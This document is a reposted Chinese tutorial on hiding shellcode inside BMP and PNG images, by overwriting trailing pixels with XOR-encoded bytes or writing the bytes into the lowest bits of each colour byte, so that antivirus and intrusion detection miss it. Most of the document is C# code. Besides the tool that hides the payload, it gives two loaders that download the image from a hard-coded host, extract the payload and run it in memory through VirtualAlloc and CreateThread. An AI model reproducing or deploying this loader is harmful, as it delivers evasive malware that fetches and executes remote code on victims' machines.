|
原文链接:利用图片隐写执行shellcode
0x01 起因
首先我们要知道为什么要用隐写,其实最主要的就是规避检测,不管你传输的任何数据都很由可能被IDS/IPS等检测到。写这个东西我最主要的还是想隐蔽的传输payload执行。在目标执行payload之前,很多安全设备会分析它:
 
所以我们就需要隐写术来隐藏我们的payload,那隐写术又分很多种,为什么选择图片隐写呢?因为图片基本上在各种AV、IDS/IPS等安全设备检测的范围之外,所以我们就能很好的利用这一点。这里我们介绍两种利用思路,以及他们的限制。
0x02 替换图片像素点实现隐写
这种方式其实很简单,大概的原理就是用我们的payload替换bmp图片的像素点,来达到隐写。
那再这么多的图片格式中,应该选哪一个?这里选择bmp图片,因为他是最简单的图片格式,而且是图片数据不会被压缩的,这一点才能保证我们再修改bmp图片后,储存的payload的完整性,相对来说因为没有压缩,所以它会占用更大的磁盘空间。
2.1 利用bmp文件结构隐写payloadbmp图片一般由四部分组成:
- 位图头文件数据结构,它包含BMP图像文件的类型、显示内容等信息;
- 位图信息数据结构,它包含有BMP图像的宽、高、压缩方法,以及定义颜色等信息;
- 调色板,这个部分是可选的,有些位图需要调色板,有些位图,比如真彩色图(24位的BMP)就不需要调色板;
- 位图数据,这部分的内容根据BMP位图使用的位数不同而不同,在24位图中直接使用RGB,而其他的小于24位的使用调色板中颜色索引值。
2.1.1 BitMap文件头
 
如上图就是BitMap文件头的所有内容,共计54字节。具体示例如下:
 
这里我们其实需要注意两个字段,一是22-26这4个字节,存放着bitmap文件的像素高,后续会说到用处。二是2-6这四个字节,本来存放着bmp图片的大小,我们会将他改成payload的长度。
2.1.2 替换BitMap位图数据Bitmap文件种间的数据我们暂时不管,因为位图数据也就是像素点在文件的最后一节,所以我们就从最后一个位图数据的byte向前替换就行了。我先来看看修改像素点的结果:
源数据和源图

 
修改后的数据和修改后的图
 
 
注意看图片的差距,又上角变灰了。这是我们替换原有像素点造成的结果。
2.1.3 修改BitMap像素高度这里为了使人更不易差距,我们就将BitMap头中的像素高度修改一下,让它不被显示出来。这样虽然图片就会比原图高度小上一点。
原图:
 
修改之后:
 
2.1.4 将payload长度插入bmp完成上诉的步骤,我们就已经将我们的payload隐写进了bmp文件。剩下的就是写一个正常的loader将它读取出来并执行。但是在读取的时候我们怎么知道读取哪些数据?还有payload的长度呢?所以这里我们就要将payload的长度插入bmp图片,使用的是原来表示bmp大小的那4个字节,因为这4个字节不一定可信,导致它的修改对bmp没有什么影响。
2.2 C#实现向bmp图片中插入payload先判断文件是否是bmp文件
- private static bool IsBmpFile(string filePath)
- {
- FileStream stream = new FileStream(filePath, FileMode.Open, FileAccess.Read);
- BinaryReader reader = new BinaryReader(stream);
- string fileclass = "";
- try
- {
- for (int i = 0; i < 2; i++)
- {
- fileclass += reader.ReadByte().ToString();
- }
- stream.Close();
- }
- catch (Exception)
- {
- throw;
- }
- if(fileclass == "6677")
- {
- return true;
- }
- else
- {
- return false;
- }
- }
复制代码
读取bmp文件字节并判断像素点是否够用- byte[] xBmp_Temp = File.ReadAllBytes(Image_File);
- if(xBmp_Temp.Length < (xPayload.Length + 54))
- {
- Console.ForegroundColor = ConsoleColor.Red;
- Console.WriteLine("[!] Error: The picture is too small, please choose a bigger picture!");
- return;
- }
复制代码
修改像素点最后面的字节,这里做了个简单的xor编码- int start = xBmp_Temp.Length - xPayload.Length;
- for (int i = 0; i < xPayload.Length; i++)
- {
- byte t = Convert.ToByte((Convert.ToInt32(xPayload[i], 16) ^ Convert.ToInt32("0x99", 16)).ToString("X2"), 16);
- xBmp_Temp[start + i] = t;
- if (i == 0)
- {
- Console.Write("[>] Injecting Encode Payload (length {0}) : ", xPayload.Length.ToString());
- }
- if (i <= 16)
- {
- Console.Write(string.Format("{0:X}",t) + " ");
- }
- }
复制代码
计算出payload占用的像素高度
- FileStream fs = new FileStream(Image_File, FileMode.Open);
- byte[] array = new byte[4];
- fs.Seek(18, SeekOrigin.Begin);
- fs.Read(array, 0, 4);
- int width = BitConverter.ToInt32(array, 0);
- fs.Seek(22, SeekOrigin.Begin);
- fs.Read(array, 0, 4);
- int height = BitConverter.ToInt32(array, 0);
- fs.Close();
- int line = 0;
- if (xPayload.Length % width == 0)
- {
- line = xPayload.Length / width;
- }
- else
- {
- line = xPayload.Length / width + 1;
- }
复制代码
计算出新图的高度,并修改- int new_height = height - line;
- byte[] intBuff = BitConverter.GetBytes(new_height);
- for (int i = 0; i < 4; i++)
- {
- xBmp_Temp[22 + i] = intBuff[i];
- }
复制代码
向bmp图片中写入payload的长度- intBuff = BitConverter.GetBytes(xPayload.Length);
- for (int i = 0; i < 4; i++)
- {
- xBmp_Temp[2 + i] = intBuff[i];
- }
复制代码
保存bmp文件- string out_path = Environment.CurrentDirectory + "\\payload.bmp";
- File.WriteAllBytes(out_path, xBmp_Temp);
复制代码
程序结果 
生产的这个图片对于图片解析器来说是一个正常的图片,所以比如在web渗透中上传是不会有限制的。
2.3 loader读取bmp图片中隐写数据这个loader的作用就是从我们的图片中读取出payload,并执行。
通过http来获得图片数据
- string url = "http://10.0.0.8:80/payload.bmp";
- WebClient myWebClient = new WebClient();
- myWebClient.Credentials = CredentialCache.DefaultCredentials;
- byte[] bmp_bytes = myWebClient.DownloadData(url);
复制代码
取出payload的长度,并计算出payload开始写入的位置- int payload_lenght = BitConverter.ToInt32(bmp_bytes, 2);
- int start = bmp_bytes.Length - payload_lenght;
复制代码
读取payload,并解码- for(int i = 0; i < payload_lenght; i++)
- {
- payload[i] = Convert.ToByte((Convert.ToInt32(bmp_bytes[start + i].ToString("X2"), 16) ^ Convert.ToInt32("0x99", 16)).ToString("X2"), 16);
- }
复制代码
执行payload- UInt32 MEM_COMMIT = 0x1000;
- UInt32 PAGE_EXECUTE_READWRITE = 0x40;
- UInt32 funcAddr = VirtualAlloc(0x00000000, (UInt32)payload.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
- Marshal.Copy(payload, 0x00000000, (IntPtr)(funcAddr), payload.Length);
- IntPtr hThread = IntPtr.Zero;
- UInt32 threadId = 1;
- IntPtr pinfo = IntPtr.Zero;
- hThread = CreateThread(0x0000, 0x7700, funcAddr, pinfo, 0x303, ref threadId);
- WaitForSingleObject(hThread, 0xfffff1fc);
复制代码
执行结果
0x03 修改图片像素点实现隐写
上面这种方法是通过直接替换掉像素点来实现的,对原图的改动造成了很大的差异,而通过修改像素点就不存在这一点。
3.1 利用像素点隐写数据的原理我们都知道图片是包含像素点的,每个像素点又分为R(红)、G(绿)、B(蓝)三种原色,每个原色由8位二进制位表示,对应一个byte。
 
而这个是我们修改每个字节分组的最低位,图片在显示时的区别,肉眼是无法辨别的,进而可以达到隐藏数据的目的。
 
如上图,我们修改了三原色对应byte的二进制的最后一位,肉眼基本开不出来由任何区别。
那我们一个payload的byte是8位,如果知识改三原色的最后一位来隐藏数据的话,就需要两个半像素点才能存下一个payload的byte,如图:
 
3.2 C#实现像素点中插入payload读取图片数据并提取像素数据到内存
- Bitmap image = new Bitmap(Image_File);
- int width = image.Size.Width;
- int height = image.Size.Height;
- Rectangle rect = new Rectangle(0, 0, width, height);
- BitmapData image_data = image.LockBits(rect, ImageLockMode.ReadWrite, image.PixelFormat);
- IntPtr ptr = image_data.Scan0;
- int bytes = Math.Abs(image_data.Stride) * image.Height;
- byte[] rgbValues = new byte[bytes];
- Marshal.Copy(ptr, rgbValues, 0, bytes);
复制代码
判断图片的像素点是否够我们插入所有的payload- if (rgbValues.Length < ((xPayload.Length + 4) * 8))
- {
- Console.ForegroundColor = ConsoleColor.Red;
- Console.WriteLine("[!] Error: There are too few pixels in the picture, please change a high pixel image!");
- return;
- }
复制代码
在像素点数据的最开始4字节插入payload的长度(这里用的是替换像素点的方法)
- int counter = 0;
- byte[] l = BitConverter.GetBytes(xPayload.Length);
- Console.ForegroundColor = ConsoleColor.DarkYellow;
- for (int j = 0; j < 4; j++)
- {
- Console.Write(string.Format("{0:X}", l[j]) + " ");
- rgbValues[counter] = l[j];
- counter++;
- }
复制代码
遍历插入payload数据- for (int i = 0; i < xPayload.Length; i++)
- {
- if(i < 16)
- {
- Console.ForegroundColor = ConsoleColor.DarkYellow;
- Console.Write(xPayload[i] + " ");
- }
复制代码
将payload的byte转换成点阵列(即二进制)- byte[] b = { Convert.ToByte(xPayload[i], 16) };
- BitArray ba_Payload = new BitArray(b);
复制代码
将点阵列的每个bit位写入像素byte的最后一个bit- for (int j = 0; j < 8; j++)
- {
- byte[] RGB = { rgbValues[counter] };
- BitArray ba_RGB = new BitArray(RGB);
- if (ba_RGB[0] != ba_Payload[j])
- {
- ba_RGB[0] = ba_Payload[j];
- }
- byte[] tmp = new byte[1];
- ba_RGB.CopyTo(tmp, 0);
- rgbValues[counter] = tmp[0];
- counter++; ;
- }
复制代码
在将内存中的数据写回到bitmap- Marshal.Copy(rgbValues, 0, ptr, bytes);
- image.UnlockBits(image_data);
复制代码
最后将bitmap数据保存成png图片- string out_path = Environment.CurrentDirectory + "\\payload.png";
- image.Save(out_path, ImageFormat.Png);
复制代码
程序输出结果 
3.3 loader读取像素点中隐写数据这个loader的作用同读取bmp文件的loader作用一样,都是从图片中提取出payload并加载执行。
使用http获取图片数据
- string url = "http://10.0.0.8:80/payload.png";
- WebClient myWebClient = new WebClient();
- myWebClient.Credentials = CredentialCache.DefaultCredentials;
- byte[] Png_bytes = myWebClient.DownloadData(url);
复制代码
将图片数据转换成bitmap对象,并提取出像素点数据- MemoryStream ms = new MemoryStream(Png_bytes);
- Bitmap image = (Bitmap)Image.FromStream(ms);
- int width = image.Size.Width;
- int height = image.Size.Height;
- Rectangle rect = new Rectangle(0, 0, width, height);
- BitmapData image_data = image.LockBits(rect, ImageLockMode.ReadWrite, image.PixelFormat);
- IntPtr ptr = image_data.Scan0;
- int bytes = Math.Abs(image_data.Stride) * image.Height;
- byte[] rgbValues = new byte[bytes];
- Marshal.Copy(ptr, rgbValues, 0, bytes);
复制代码
从像素数据的最前4字节读取出payload的长度,并申请储存payload的数组。- int lenght = BitConverter.ToInt32(rgbValues, 0);
- byte[] XX = new byte[lenght];
复制代码
提取像素点RGB数据的最后一位,存入点阵列
- for (int i = 4; i < lenght * 8; i++)
- {
- byte[] RGB = { rgbValues[i] };
- BitArray ba_RGB = new BitArray(RGB);
- tmp[j] = ba_RGB[0];
- j++;
- }
复制代码
点阵列转换成int- public static int BitToInt(BitArray bit)
- {
- int[] res = new int[1];
- for (int i = 0; i < bit.Count; i++)
- {
- bit.CopyTo(res, 0);
- }
- return res[0];
- }
复制代码
读取出8位之后,还原成byte
- if(j == 8)
- {
- XX[counter] = Convert.ToByte(BitToInt(tmp));
- j = 0;
- counter++;
- }
复制代码
完成payload提取之后,创建线程来执行
- UInt32 MEM_COMMIT = 0x1000;
- UInt32 PAGE_EXECUTE_READWRITE = 0x40;
- UInt32 funcAddr = VirtualAlloc(0x00000000, (UInt32)XX.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
- Marshal.Copy(XX, 0x00000000, (IntPtr)(funcAddr), XX.Length);
- IntPtr hThread = IntPtr.Zero;
- UInt32 threadId = 1;
- IntPtr pinfo = IntPtr.Zero;
- hThread = CreateThread(0x0000, 0x7700, funcAddr, pinfo, 0x303, ref threadId);
- WaitForSingleObject(hThread, 0xfffff1fc);
复制代码
运行结果 
0x04 总结
从上面可以看出图片是我们很好的用来传输数据的载体,但是限制就是传输的数据越大,需要的图片就越大。所以我们这里用来储存payload还是很舒服的。
|
|